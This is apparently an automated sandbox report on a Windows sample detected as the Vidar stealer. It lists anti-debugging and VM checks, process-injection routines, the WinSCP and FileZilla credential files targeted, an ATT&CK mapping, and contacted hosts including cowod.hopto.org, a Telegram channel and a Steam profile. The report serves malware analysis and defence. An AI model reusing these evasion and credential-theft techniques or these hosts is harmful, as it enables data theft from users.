Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00189CF1 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00189CF1
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00194D08 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	0_2_00194D08
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018CD0C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0018CD0C
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018D59B FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018D59B
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00181D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00181D80
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018B5B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0018B5B4
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018BF22 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0018BF22

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00195182 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_00195182

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00190F8F GetSystemInfo,wsprintfA,

0_2_00190F8F

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003A6E000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948655948.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003A6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	API call chain: ExitProcess graph end node	graph_0-20787
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	API call chain: ExitProcess graph end node	graph_0-20772
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	API call chain: ExitProcess graph end node	graph_0-22113

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0019D05A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0019D05A

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

0_2_00198995

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001814AD mov eax, dword ptr fs:[00000030h]	0_2_001814AD
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018148A mov eax, dword ptr fs:[00000030h]	0_2_0018148A
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001814A2 mov eax, dword ptr fs:[00000030h]	0_2_001814A2
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001985DB mov eax, dword ptr fs:[00000030h]	0_2_001985DB
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001985DC mov eax, dword ptr fs:[00000030h]	0_2_001985DC

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_001910EE GetProcessHeap,HeapAlloc,GlobalMemoryStatusEx,wsprintfA,

0_2_001910EE

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019D05A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0019D05A
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019D9DC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0019D9DC
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001A767E SetUnhandledExceptionFilter,	0_2_001A767E

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: aZm1EZ2IYr.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: aZm1EZ2IYr.exe PID: 7336, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0018F51F _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_0018F51F

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00192554 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00192554
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019247D __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_0019247D

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0018111D cpuid

0_2_0018111D

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_00190DB0
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_001AB11C
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	0_2_001AB211
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	0_2_001AB2B8
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_001A9AA0
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	0_2_001AB313
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	0_2_001AAB90
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	0_2_001A5433
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	0_2_001A74EC
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_001AB4E4
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_001A9DBE
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	0_2_001AE5BF
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: EnumSystemLocalesA,	0_2_001AB5A6
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_001AB5D0
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_001A75C6
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_001A8E14
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_001AB637
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	0_2_001AB673
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: GetLocaleInfoA,	0_2_001AE6F4

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_0019C00B lstrcpyA,SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,

0_2_0019C00B

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00190C28 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00190C28

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00190D03 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00190D03

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003A6E000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: aZm1EZ2IYr.exe, type: SAMPLE
Source: Yara match	File source: 0.2.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aZm1EZ2IYr.exe PID: 7336, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: aZm1EZ2IYr.exe, type: SAMPLE
Source: Yara match	File source: 0.2.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aZm1EZ2IYr.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aZm1EZ2IYr.exe PID: 7336, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	21 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	1 Credentials in Registry	161 Security Software Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	21 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	3 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	55 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
aZm1EZ2IYr.exe	74%	ReversingLabs	Win32.Infostealer.Tinba
aZm1EZ2IYr.exe	60%	Virustotal		Browse
aZm1EZ2IYr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
t.me	0%	Virustotal	Browse
cowod.hopto.org	12%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://player.vimeo.com	0%	URL Reputation	safe
http://cowod.hopto.org	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	URL Reputation	safe
http://cowod.hopto.	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
http://cowod.hopto	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
http://cowod.hopto.org/	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
http://cowod.hopto.org/p	7%	Virustotal		Browse
https://steamcommunity.com/login/home/?goto=profiles%2F76561199786602107	0%	Virustotal		Browse
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	0%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false	0%, Virustotal, Browse	unknown
cowod.hopto.org	unknown	unknown	false	12%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
https://t.me/lpnjoke	false	unknown
https://65.109.142.154/	false	unknown
https://steamcommunity.com/profiles/76561199786602107	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199786602107	76561199786602107[1].htm.0.dr	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/?subsection=broadcasts	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.org	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	true	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
http://cowod.hopto.org/p	aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003B3D000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse	unknown
https://store.steampowered.com/subscriber_agreement/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	0%, Virustotal, Browse	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
